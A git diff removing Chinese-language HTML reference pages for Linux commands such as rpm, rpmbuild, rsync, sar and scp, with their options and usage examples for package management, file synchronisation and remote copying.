有些软件包是以.src.rpm结尾的,这类软件包是包含了源代码的rpm包,在安装时需要进行编译。这类软件包有两种安装方法:

-

方法一:

-
rpm -i your-package.src.rpm
-cd /usr/src/redhat/SPECS
-rpmbuild -bp your-package.specs             #一个和你的软件包同名的specs文件
-cd /usr/src/redhat/BUILD/your-package/      #一个和你的软件包同名的目录
-./configure                                 #这一步和编译普通的源码软件一样,可以加上参数
-make
-make install
-
-

方法二:

-
rpm -i you-package.src.rpm
-cd /usr/src/redhat/SPECS
-
-

前两步和方法一相同

-
rpmbuild -bb your-package.specs       #一个和你的软件包同名的specs文件
-
-

这时在/usr/src/redhat/RPM/i386/(根据具体包的不同,也可能是i686,noarch等等)在这个目录下,有一个新的rpm包,这个是编译好的二进制文件。

-

执行rpm -i new-package.rpm即可安装完成。

-

如何卸载rpm软件包

-

使用命令rpm -e包名,包名可以包含版本号等信息,但是不可以有后缀.rpm,比如卸载软件包proftpd-1.2.8-1,可以使用下列格式:

-
rpm -e proftpd-1.2.8-1
-rpm -e proftpd-1.2.8
-rpm -e proftpd-
-rpm -e proftpd
-
-

不可以是下列格式:

-
rpm -e proftpd-1.2.8-1.i386.rpm
-rpm -e proftpd-1.2.8-1.i386
-rpm -e proftpd-1.2
-rpm -e proftpd-1
-
-

有时会出现一些错误或者警告:

-
... is needed by ...
-
-

这说明这个软件被其他软件需要,不能随便卸载,可以用rpm -e --nodeps强制卸载

-

如何不安装但是获取rpm包中的文件

-

使用工具rpm2cpio和cpio

-
rpm2cpio xxx.rpm | cpio -vi
-rpm2cpio xxx.rpm | cpio -idmv
-rpm2cpio xxx.rpm | cpio --extract --make-directories
-
-

参数i和extract相同,表示提取文件。v表示指示执行进程,d和make-directory相同,表示根据包中文件原来的路径建立目录,m表示保持文件的更新时间。

-

如何查看与rpm包相关的文件和其他信息

-

下面所有的例子都假设使用软件包mysql-3.23.54a-11

-

1、我的系统中安装了那些rpm软件包。

-
rpm -qa 讲列出所有安装过的包
-
-

如果要查找所有安装过的包含某个字符串sql的软件包

-
rpm -qa | grep sql
-
-

2、如何获得某个软件包的文件全名。

-
rpm -q mysql
-
-

可以获得系统中安装的mysql软件包全名,从中可以获得当前软件包的版本等信息。这个例子中可以得到信息mysql-3.23.54a-11

-

3、一个rpm包中的文件安装到那里去了?

-
rpm -ql 包名
-
-

注意这里的是不包括.rpm后缀的软件包的名称,也就是说只能用mysql或者mysql-3.23.54a-11而不是mysql-3.23.54a-11.rpm。如果只是想知道可执行程序放到那里去了,也可以用which,比如:

-
which mysql
-
-

4、一个rpm包中包含那些文件。

-
    -
  • 一个没有安装过的软件包,使用rpm -qlp **** .rpm
  • -
  • 一个已经安装过的软件包,还可以使用rpm -ql **** .rpm
  • -
-

5、如何获取关于一个软件包的版本,用途等相关信息?

-
    -
  • 一个没有安装过的软件包,使用rpm -qip **** .rpm
  • -
  • 一个已经安装过的软件包,还可以使用rpm -qi **** .rpm
  • -
-

6、某个程序是哪个软件包安装的,或者哪个软件包包含这个程序。

-
rpm -qf `which 程序名`    #返回软件包的全名
-rpm -qif `which 程序名`   #返回软件包的有关信息
-rpm -qlf `which 程序名`   #返回软件包的文件列表
-
-

注意,这里不是引号,而是,就是键盘左上角的那个键。也可以使用rpm -qilf`,同时输出软件包信息和文件列表。

-

7、某个文件是哪个软件包安装的,或者哪个软件包包含这个文件。

-

注意,前一个问题中的方法,只适用与可执行的程序,而下面的方法,不仅可以用于可执行程序,也可以用于普通的任何文件。前提是知道这个文件名。首先获得这个程序的完整路径,可以用whereis或者which,然后使用rpm -qf例如:

-
whereis ftptop
-ftptop: /usr/bin/ftptop /usr/share/man/man1/ftptop.1.gz
-
-rpm -qf /usr/bin/ftptop
-proftpd-1.2.8-1
-
-rpm -qf /usr/share/doc/proftpd-1.2.8/rfc/rfc0959.txt
-proftpd-1.2.8-1
-
-

更多实例

-
-

库依赖: http://rpmfind.net/

-
-

源码包 -> 编译 -> 二进制包(rpm 包 / 系统默认包)

-

rpm 命名规则: 软件(软件名, 软件版本) + 系统(os 版本, os 位数) -rpm 校验: SM5DLUGT -> size modified(类型/权限) md5 device L(文件路径) user group time(modified time)

-

yum: 解决 rpm 依赖的问题

-
# rpm
-mysql57-community-release-el6-8.noarch.rpm # 一个 rpm 包的例子
-/var/lib/rpm/ # 包全名 -> 包名 的数据库
-
-rpm -Uivh --dodeps xxx # upgrade install verbose hash
-rpm -qilpfa|grep xxx # query info list(rpm包安装后的文件位置) package(rpm 包) file(文件属于哪个rpm文件) all
-rpm -e # erase
-rpm -V # verify
-rpm2cpio | cpio -idv
-
-# rpm 默认安装位置
-/etc/           配置文件
-/usr/bin/       可执行文件
-/urs/lib/       程序使用的函数库
-/usr/share/doc/ 使用手册
-/usr/share/man/ manual
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rpm2cpio.html b/linux-command.docset/Contents/Resources/Documents/c/rpm2cpio.html deleted file mode 100644 index 5ed4d5a517..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rpm2cpio.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - rpm2cpio 命令,Linux rpm2cpio 命令详解:将RPM软件包转换为cpio格式的文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rpm2cpio

-

将RPM软件包转换为cpio格式的文件

-

补充说明

-

rpm2cpio命令 用于将rpm软件包转换为cpio格式的文件。

-

语法

-
rpm2cpio(参数)
-
-

参数

-

文件:指定要转换的rpm包的文件名。

-

实例

-
rpm2cpio ../libstdc++-4.3.0-8.i386.rpm | cpio -idv
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rpmbuild.html b/linux-command.docset/Contents/Resources/Documents/c/rpmbuild.html deleted file mode 100644 index 3f8dd35a57..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rpmbuild.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - rpmbuild 命令,Linux rpmbuild 命令详解:创建RPM的二进制软件包和源码软件包 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rpmbuild

-

创建RPM的二进制软件包和源码软件包

-

补充说明

-

rpmbuild命令 被用于创建rpm的二进制软件包和源码软件包。

-

语法

-
rpmbuild(选项)
-
-

选项

-
--initdb:初始化RPM数据库;
---rebuilddb:从已安装的包头文件,方向重建RPM数据库;
--ba:创建二进制和源代码包;
--bb:创建二进制代码包;
--bs:创建源代码包。
-
-

实例

-
rpmbuild -ba 'spec文件路径'
-
-

build完后,可以在/usr/src/redhat/RPMS/下找到二进制rpm包,rpm包按照其对应的cpu体系结构分类,通常在/usr/src/redhat/RPMS/i386目录下。/usr/src/redhat/SRPMS/下找到源码rpm包,此时由于是源代码,所以无须按体系结构分类。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rpmdb.html b/linux-command.docset/Contents/Resources/Documents/c/rpmdb.html deleted file mode 100644 index 4f8a33d6be..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rpmdb.html +++ /dev/null @@ -1,80 +0,0 @@ - - - - - - - - - - - rpmdb 命令,Linux rpmdb 命令详解:初始化和重建RPM数据库 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rpmdb

-

初始化和重建RPM数据库

-

补充说明

-

rpmdb命令 用于初始化和重建rpm数据库。

-

语法

-
rpmdb(选项)
-
-

选项

-
--initdb:初始化RPM数据库;
---rebuilddb:从已安装的包头文件,反向重建RPM数据库。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rpmquery.html b/linux-command.docset/Contents/Resources/Documents/c/rpmquery.html deleted file mode 100644 index 9db7ddade6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rpmquery.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - rpmquery 命令,Linux rpmquery 命令详解:从RPM数据库中查询软件包信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rpmquery

-

从RPM数据库中查询软件包信息

-

补充说明

-

rpmquery命令 使用多种依据从rpm数据库中查询软件包信息。

-

语法

-
rpmquery(选项)
-
-

选项

-
-qf:查询指定的文件所属的软件包;
--q:查询指定的软件包是否被安装;
--qc:查询软件包中的配置文件;
--qd:查询软件包中的文档文件;
--qi:查询软件包的基本信息。
-
-

实例

-

使用rpmquery命令查询指定文件所属的软件包:

-
[root@localhost ~]# rpmquery -qf /usr/bin/htpasswd
-httpd-2.2.3-81.el5.centos
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rpmsign.html b/linux-command.docset/Contents/Resources/Documents/c/rpmsign.html deleted file mode 100644 index e2fec81a3d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rpmsign.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - rpmsign 命令,Linux rpmsign 命令详解:使用RPM软件包的签名管理工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rpmsign

-

使用RPM软件包的签名管理工具

-

补充说明

-

rpmsign命令 使用rpm软件包的签名管理工具。

-

语法

-
rpmsign(选项)
-
-

选项

-
--addsign:为自动软件包添加签名;
---checksig:验证软件包签名;
---delsign:删除软件包签名;
---import:导入公钥;
---resign:重新签名软件包;
---nodigest:不验证软件包摘要;
---nosignature:不验证软件包签名。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rpmverify.html b/linux-command.docset/Contents/Resources/Documents/c/rpmverify.html deleted file mode 100644 index 92e4897da7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rpmverify.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - rpmverify 命令,Linux rpmverify 命令详解:验证已安装的RPM软件包的正确性 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rpmverify

-

验证已安装的RPM软件包的正确性

-

补充说明

-

rpmverify命令 用来验证已安装的rpm软件包的正确性。

-

语法

-
rpmverify(选项)
-
-

选项

-
-Va:验证所有软件包;
--V<软件包>f:验证指定软件包;
---nomd5:不验证软件包的md5摘要。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rsh.html b/linux-command.docset/Contents/Resources/Documents/c/rsh.html deleted file mode 100644 index 85f8523322..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rsh.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - rsh 命令,Linux rsh 命令详解:连接远程主机并执行命令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rsh

-

连接远程主机并执行命令

-

补充说明

-

rsh命令 用于连接到远程的指定主机并执行指定的命令。

-

语法

-
rsh(选项)(参数)
-
-

选项

-
-d:使用Socket层级的排错功能;
--l<用户名称>:指定要登入远端主机的用户名称;
--n:把输入的指令号向代号为/dev/null的特殊外围设备。
-
-

参数

-
    -
  • 远程主机:指定要连接的远程主机;
  • -
  • 指令:指定要在远程主机上执行的命令。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rsync.html b/linux-command.docset/Contents/Resources/Documents/c/rsync.html deleted file mode 100644 index 5197aa4c3d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rsync.html +++ /dev/null @@ -1,306 +0,0 @@ - - - - - - - - - - - rsync 命令,Linux rsync 命令详解:远程数据同步工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rsync

-

远程数据同步工具

-

补充说明

-

rsync命令 是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。rsync使用所谓的“rsync算法”来使本地和远程两个主机之间的文件达到同步,这个算法只传送两个文件的不同部分,而不是每次都整份传送,因此速度相当快。 rsync是一个功能非常强大的工具,其命令也有很多功能特色选项,我们下面就对它的选项一一进行分析说明。

-

语法

-
rsync [OPTION]... SRC DEST
-rsync [OPTION]... SRC [USER@]host:DEST
-rsync [OPTION]... [USER@]HOST:SRC DEST
-rsync [OPTION]... [USER@]HOST::SRC DEST
-rsync [OPTION]... SRC [USER@]HOST::DEST
-rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
-
-

对应于以上六种命令格式,rsync有六种不同的工作模式:

-
    -
  1. 拷贝本地文件。当SRC和DES路径信息都不包含有单个冒号":"分隔符时就启动这种工作模式。如:rsync -a /data /backup
  2. -
  3. 使用一个远程shell程序(如rsh、ssh)来实现将本地机器的内容拷贝到远程机器。当DST路径地址包含单个冒号":"分隔符时启动该模式。如:rsync -avz *.c foo:src
  4. -
  5. 使用一个远程shell程序(如rsh、ssh)来实现将远程机器的内容拷贝到本地机器。当SRC地址路径包含单个冒号":"分隔符时启动该模式。如:rsync -avz foo:src/bar /data
  6. -
  7. 从远程rsync服务器中拷贝文件到本地机。当SRC路径信息包含"::"分隔符时启动该模式。如:rsync -av root@192.168.78.192::www /databack
  8. -
  9. 从本地机器拷贝文件到远程rsync服务器中。当DST路径信息包含"::"分隔符时启动该模式。如:rsync -av /databack root@192.168.78.192::www
  10. -
  11. 列远程机的文件列表。这类似于rsync传输,不过只要在命令中省略掉本地机信息即可。如:rsync -v rsync://192.168.78.192/www
  12. -
-

选项

-
-v, --verbose 详细模式输出。
--q, --quiet 精简输出模式。
--c, --checksum 打开校验开关,强制对文件传输进行校验。
--a, --archive 归档模式,表示以递归方式传输文件,并保持所有文件属性,等于-rlptgoD。
--r, --recursive 对子目录以递归模式处理。
--R, --relative 使用相对路径信息。
--b, --backup 创建备份,也就是对于目的已经存在有同样的文件名时,将老的文件重新命名为~filename。可以使用--suffix选项来指定不同的备份文件前缀。
---backup-dir 将备份文件(如~filename)存放在在目录下。
--suffix=SUFFIX 定义备份文件前缀。
--u, --update 仅仅进行更新,也就是跳过所有已经存在于DST,并且文件时间晚于要备份的文件,不覆盖更新的文件。
--l, --links 保留软链结。
--L, --copy-links 想对待常规文件一样处理软链结。
---copy-unsafe-links 仅仅拷贝指向SRC路径目录树以外的链结。
---safe-links 忽略指向SRC路径目录树以外的链结。
--H, --hard-links 保留硬链结。
--p, --perms 保持文件权限。
--o, --owner 保持文件属主信息。
--g, --group 保持文件属组信息。
--D, --devices 保持设备文件信息。
--t, --times 保持文件时间信息。
--S, --sparse 对稀疏文件进行特殊处理以节省DST的空间。
--n, --dry-run现实哪些文件将被传输。
--w, --whole-file 拷贝文件,不进行增量检测。
--x, --one-file-system 不要跨越文件系统边界。
--B, --block-size=SIZE 检验算法使用的块尺寸,默认是700字节。
--e, --rsh=command 指定使用rsh、ssh方式进行数据同步。
---rsync-path=PATH 指定远程服务器上的rsync命令所在路径信息。
--C, --cvs-exclude 使用和CVS一样的方法自动忽略文件,用来排除那些不希望传输的文件。
---existing 仅仅更新那些已经存在于DST的文件,而不备份那些新创建的文件。
---delete 删除那些DST中SRC没有的文件。
---delete-excluded 同样删除接收端那些被该选项指定排除的文件。
---delete-after 传输结束以后再删除。
---ignore-errors 及时出现IO错误也进行删除。
---max-delete=NUM 最多删除NUM个文件。
---partial 保留那些因故没有完全传输的文件,以是加快随后的再次传输。
---force 强制删除目录,即使不为空。
---numeric-ids 不将数字的用户和组id匹配为用户名和组名。
---timeout=time ip超时时间,单位为秒。
--I, --ignore-times 不跳过那些有同样的时间和长度的文件。
---size-only 当决定是否要备份文件时,仅仅察看文件大小而不考虑文件时间。
---modify-window=NUM 决定文件是否时间相同时使用的时间戳窗口,默认为0。
--T --temp-dir=DIR 在DIR中创建临时文件。
---compare-dest=DIR 同样比较DIR中的文件来决定是否需要备份。
--P 等同于 --partial。
---progress 显示备份过程。
--z, --compress 对备份的文件在传输时进行压缩处理。
---exclude=PATTERN 指定排除不需要传输的文件模式。
---include=PATTERN 指定不排除而需要传输的文件模式。
---exclude-from=FILE 排除FILE中指定模式的文件。
---include-from=FILE 不排除FILE指定模式匹配的文件。
---version 打印版本信息。
---address 绑定到特定的地址。
---config=FILE 指定其他的配置文件,不使用默认的rsyncd.conf文件。
---port=PORT 指定其他的rsync服务端口。
---blocking-io 对远程shell使用阻塞IO。
--stats 给出某些文件的传输状态。
---progress 在传输时现实传输过程。
---log-format=formAT 指定日志文件格式。
---password-file=FILE 从FILE中得到密码。
---bwlimit=KBPS 限制I/O带宽,KBytes per second。
--h, --help 显示帮助信息。
-
-

实例

-

SSH方式

-

首先在服务端启动ssh服务:

-
service sshd start
-启动 sshd: [确定]
-
-

使用rsync进行同步

-

接下来就可以在客户端使用rsync命令来备份服务端上的数据了,SSH方式是通过系统用户来进行备份的,如下:

-
rsync -vzrtopg --progress -e ssh --delete work@172.16.78.192:/www/* /databack/experiment/rsync
-work@172.16.78.192's password:
-receiving file list ...
-5 files to consider
-test/
-a
-0 100% 0.00kB/s 527:35:41 (1, 20.0% of 5)
-b
-67 100% 65.43kB/s 0:00:00 (2, 40.0% of 5)
-c
-0 100% 0.00kB/s 527:35:41 (3, 60.0% of 5)
-dd
-100663296 100% 42.22MB/s 0:00:02 (4, 80.0% of 5)
-sent 96 bytes received 98190 bytes 11563.06 bytes/sec
-total size is 100663363 speedup is 1024.19
-
-

上面的信息描述了整个的备份过程,以及总共备份数据的大小。

-

后台服务方式

-

启动rsync服务,编辑/etc/xinetd.d/rsync文件,将其中的disable=yes改为disable=no,并重启xinetd服务,如下:

-
vi /etc/xinetd.d/rsync
-
-#default: off
-# description: The rsync server is a good addition to an ftp server, as it \
-# allows crc checksumming etc.
-service rsync {
-disable = no
-socket_type = stream
-wait = no
-user = root
-server = /usr/bin/rsync
-server_args = --daemon
-log_on_failure += USERID
-}
-
-
/etc/init.d/xinetd restart
-停止 xinetd: [确定]
-启动 xinetd: [确定]
-
-

创建配置文件,默认安装好rsync程序后,并不会自动创建rsync的主配置文件,需要手工来创建,其主配置文件为“/etc/rsyncd.conf”,创建该文件并插入如下内容:

-
vi /etc/rsyncd.conf
-
-uid=root
-gid=root
-max connections=4
-log file=/var/log/rsyncd.log
-pid file=/var/run/rsyncd.pid
-lock file=/var/run/rsyncd.lock
-secrets file=/etc/rsyncd.passwd
-hosts deny=172.16.78.0/22
-
-[www]
-comment= backup web
-path=/www
-read only = no
-exclude=test
-auth users=work
-
-

创建密码文件,采用这种方式不能使用系统用户对客户端进行认证,所以需要创建一个密码文件,其格式为“username:password”,用户名可以和密码可以随便定义,最好不要和系统帐户一致,同时要把创建的密码文件权限设置为600,这在前面的模块参数做了详细介绍。

-
echo "work:abc123" > /etc/rsyncd.passwd
-chmod 600 /etc/rsyncd.passwd
-
-

备份,完成以上工作,现在就可以对数据进行备份了,如下:

-
rsync -avz --progress --delete work@172.16.78.192::www /databack/experiment/rsync
-
-Password:
-receiving file list ...
-6 files to consider
-./ files...
-a
-0 100% 0.00kB/s 528:20:41 (1, 50.0% of 6)
-b
-67 100% 65.43kB/s 0:00:00 (2, 66.7% of 6)
-c
-0 100% 0.00kB/s 528:20:41 (3, 83.3% of 6)
-dd
-100663296 100% 37.49MB/s 0:00:02 (4, 100.0% of 6)
-sent 172 bytes received 98276 bytes 17899.64 bytes/sec
-total size is 150995011 speedup is 1533.75
-
-

恢复,当服务器的数据出现问题时,那么这时就需要通过客户端的数据对服务端进行恢复,但前提是服务端允许客户端有写入权限,否则也不能在客户端直接对服务端进行恢复,使用rsync对数据进行恢复的方法如下:

-
rsync -avz --progress /databack/experiment/rsync/ work@172.16.78.192::www
-
-Password:
-building file list ...
-6 files to consider
-./
-a
-b
-67 100% 0.00kB/s 0:00:00 (2, 66.7% of 6)
-c
-sent 258 bytes received 76 bytes 95.43 bytes/sec
-total size is 150995011 speedup is 452080.87
-
-

将源目录同步到目标目录

-
$ rsync -r source destination
-
-

上面命令中,-r 表示递归,即包含子目录。注意,-r是必须的,否则 rsync 运行不会成功。source 目录表示源目录,destination 表示目标目录。

-

多个文件或目录同步

-
$ rsync -r source1 source2 destination
-
-

上面命令中,source1source2 都会被同步到 destination 目录。

-

同步元信息

-

-a 参数可以替代 -r,除了可以递归同步以外,还可以同步元信息(比如修改时间、权限等)。由于 rsync 默认使用文件大小和修改时间决定文件是否需要更新,所以 -a-r 更有用。下面的用法才是常见的写法。

-
$ rsync -a source destination
-
-

目标目录 destination 如果不存在,rsync 会自动创建。执行上面的命令后,源目录 source 被完整地复制到了目标目录 destination 下面,即形成了 destination/source 的目录结构。

-

如果只想同步源目录 source 里面的内容到目标目录 destination ,则需要在源目录后面加上斜杠。

-
$ rsync -a source/ destination
-
-

上面命令执行后,source 目录里面的内容,就都被复制到了 destination 目录里面,并不会在 destination 下面创建一个 source 子目录。

-

模拟执行的结果

-

如果不确定 rsync 执行后会产生什么结果,可以先用 -n--dry-run 参数模拟执行的结果。

-
$ rsync -anv source/ destination
-
-

上面命令中,-n 参数模拟命令执行的结果,并不真的执行命令。-v 参数则是将结果输出到终端,这样就可以看到哪些内容会被同步。

-

目标目录成为源目录的镜像副本

-

默认情况下,rsync 只确保源目录的所有内容(明确排除的文件除外)都复制到目标目录。它不会使两个目录保持相同,并且不会删除文件。如果要使得目标目录成为源目录的镜像副本,则必须使用 --delete 参数,这将删除只存在于目标目录、不存在于源目录的文件。

-
$ rsync -av --delete source/ destination
-
-

上面命令中,--delete 参数会使得 destination 成为 source 的一个镜像。

-

排除文件

-

有时,我们希望同步时排除某些文件或目录,这时可以用--exclude参数指定排除模式。

-
$ rsync -av --exclude='*.txt' source/ destination
-# 或者
-$ rsync -av --exclude '*.txt' source/ destination
-
-

上面命令排除了所有 TXT 文件。

-

注意,rsync 会同步以"点"开头的隐藏文件,如果要排除隐藏文件,可以这样写 --exclude=".*"

-

如果要排除某个目录里面的所有文件,但不希望排除目录本身,可以写成下面这样。

-
$ rsync -av --exclude 'dir1/*' source/ destination
-
-

多个排除模式,可以用多个 --exclude 参数。

-
$ rsync -av --exclude 'file1.txt' --exclude 'dir1/*' source/ destination
-
-

多个排除模式也可以利用 Bash 的大扩号的扩展功能,只用一个 --exclude 参数。

-
$ rsync -av --exclude={'file1.txt','dir1/*'} source/ destination
-
-

如果排除模式很多,可以将它们写入一个文件,每个模式一行,然后用 --exclude-from 参数指定这个文件。

-
$ rsync -av --exclude-from='exclude-file.txt' source/ destination
-
-

指定必须同步的文件模式

-

--include 参数用来指定必须同步的文件模式,往往与 --exclude 结合使用。

-
$ rsync -av --include="*.txt" --exclude='*' source/ destination
-
-

上面命令指定同步时,排除所有文件,但是会包括 TXT 文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/runlevel.html b/linux-command.docset/Contents/Resources/Documents/c/runlevel.html deleted file mode 100644 index b34ffd0396..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/runlevel.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - runlevel 命令,Linux runlevel 命令详解:打印当前Linux系统的运行等级 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

runlevel

-

打印当前Linux系统的运行等级

-

补充说明

-

runlevel命令 用于打印当前Linux系统的运行等级。

-

语法

-
runlevel
-
-

知识扩展

-

linux操作系统自从开始启动至启动完毕需要经历几个不同的阶段,这几个阶段就叫做runlevel,同样,当linux操作系统关闭时也要经历另外几个不同的runlevel,下面我们就准备详细介绍一下runlevel,并向您展示一些小技巧来让您的linux系统避免不必要的重启动。

-

runlevel可以认为是系统状态,形象一点,您可以认为runlevel有点象微软的windows操作系统中的Normal,safemode,和command prompt only。进入每个runlevel都需要启动或关闭相应的一系列服务(services),这些服务(services)以初始化脚本的方式放置于目录/etc/rc.d/rc?.d/或者/etc/rc?.d下面(?代表runlevel的对应序号)。

-

在大多数的linux发行版本中,通常有8个runlevel:

-
0 停机
-1 单用户模式
-2 多用户,没有 NFS
-3 完全多用户模式
-4 没有用到
-5 图形界面
-6 重新启动
-S s Single user mode
-
-

多数的桌面的linux系统缺省的runlevel是5,用户登陆时是图形界面,而多数的服务器版本的linux系统缺省的runlevel是3,用户登陆时是字符界面,runlevel 1和2除了调试之外很少使用,runlevel s和S并不是直接给用户使用,而是用来为Single user mode作准备。

-

linux的运行模式比起windows的启动模式的优势在于:你可以在系统空闲时使用init命令切换你现在使用的runlevel,另外,当你关闭或者启动linux系统时你已经不知不觉中切换你的runlevel,系统关机进程需要调用runlevel(0或6)来关闭所有正在运行中的进程。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sar.html b/linux-command.docset/Contents/Resources/Documents/c/sar.html deleted file mode 100644 index 61f27a2bef..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sar.html +++ /dev/null @@ -1,117 +0,0 @@ - - - - - - - - - - - sar 命令,Linux sar 命令详解:系统运行状态统计工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sar

-

系统运行状态统计工具

-

补充说明

-

sar命令 是Linux下系统运行状态统计工具,它将指定的操作系统状态计数器显示到标准输出设备。sar工具将对系统当前的状态进行取样,然后通过计算数据和比例来表达系统的当前运行状态。它的特点是可以连续对系统取样,获得大量的取样数据。取样数据和分析的结果都可以存入文件,使用它时消耗的系统资源很小。

-

语法

-
sar(选项)(参数)
-
-

选项

-
-A:显示所有的报告信息;
--b:显示I/O速率;
--B:显示换页状态;
--c:显示进程创建活动;
--d:显示每个块设备的状态;
--e:设置显示报告的结束时间;
--f:从指定文件提取报告;
--i:设状态信息刷新的间隔时间;
--P:报告每个CPU的状态;
--R:显示内存状态;
--u:显示CPU利用率;
--v:显示索引节点,文件和其他内核表的状态;
--w:显示交换分区状态;
--x:显示给定进程的状态。
-
-

参数

-
    -
  • 间隔时间:每次报告的间隔时间(秒);
  • -
  • 次数:显示报告的次数。
  • -
-

实例

-

察看内存和交换空间的使用率:

-
sar -r
-Linux 2.4.20-8 (www.jsdig.com)    20130503  
-12:00:01 AM kbmemfree kbmemused  %memused 
-kbmemshrd kbbuffers  kbcached  
-12:10:00 AM    240468   1048252     81.34    
-0    133724    485772  
-12:20:00 AM    240508   1048212     81.34   
-0    134172    485600  
-…  
-08:40:00 PM    934132    354588     27.51    
-0     26080    185364  
-Average:       324346    964374     74.83  
-0     96072    467559 
-
-

kbmemfree与kbmemused字段分别显示内存的未使用与已使用空间,后面跟着的是已使用空间的百分比(%memused字段)。kbbuffers与kbcached字段分别显示缓冲区与系统全域的数据存取量,单位为KB。

-

观察系统部件10分钟,并对数据进行排序:

-
sar -o temp 60 10
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/scp.html b/linux-command.docset/Contents/Resources/Documents/c/scp.html deleted file mode 100644 index 5223ffe9ec..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/scp.html +++ /dev/null @@ -1,121 +0,0 @@ - - - - - - - - - - - scp 命令,Linux scp 命令详解:加密的方式在本地主机和远程主机之间复制文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

scp

-

加密的方式在本地主机和远程主机之间复制文件

-

补充说明

-

scp命令 用于在Linux下进行远程拷贝文件的命令,和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。可能会稍微影响一下速度。当你服务器硬盘变为只读read only system时,用scp可以帮你把文件移出来。另外,scp还非常不占资源,不会提高多少系统负荷,在这一点上,rsync就远远不及它了。虽然 rsync比scp会快一点,但当小文件众多的情况下,rsync会导致硬盘I/O非常高,而scp基本不影响系统正常使用。

-

语法

-
scp(选项)(参数)
-
-

选项

-
-1:使用ssh协议版本1;
--2:使用ssh协议版本2;
--4:使用ipv4;
--6:使用ipv6;
--B:以批处理模式运行;
--C:使用压缩;
--F:指定ssh配置文件;
--i:identity_file 从指定文件中读取传输时使用的密钥文件(例如亚马逊云pem),此参数直接传递给ssh;
--l:指定宽带限制;
--o:指定使用的ssh选项;
--P:指定远程主机的端口号;
--p:保留文件的最后修改时间,最后访问时间和权限模式;
--q:不显示复制进度;
--r:以递归方式复制。
-
-

参数

-
    -
  • 源文件:指定要复制的源文件。
  • -
  • 目标文件:目标文件。格式为user@host:filename(文件名为目标文件的名称)。
  • -
-

实例

-

从远程复制到本地的scp命令与上面的命令雷同,只要将从本地复制到远程的命令后面2个参数互换顺序就行了。

-

从远程机器复制文件到本地目录

-
scp root@10.10.10.10:/opt/soft/nginx-0.5.38.tar.gz /opt/soft/
-
-

从10.10.10.10机器上的/opt/soft/的目录中下载nginx-0.5.38.tar.gz 文件到本地/opt/soft/目录中。

-

从亚马逊云复制OpenVPN到本地目录

-
scp -i amazon.pem ubuntu@10.10.10.10:/usr/local/openvpn_as/etc/exe/openvpn-connect-2.1.3.110.dmg openvpn-connect-2.1.3.110.dmg
-
-

从10.10.10.10机器上下载openvpn安装文件到本地当前目录来。

-

从远程机器复制到本地

-
scp -r root@10.10.10.10:/opt/soft/mongodb /opt/soft/
-
-

从10.10.10.10机器上的/opt/soft/中下载mongodb目录到本地的/opt/soft/目录来。

-

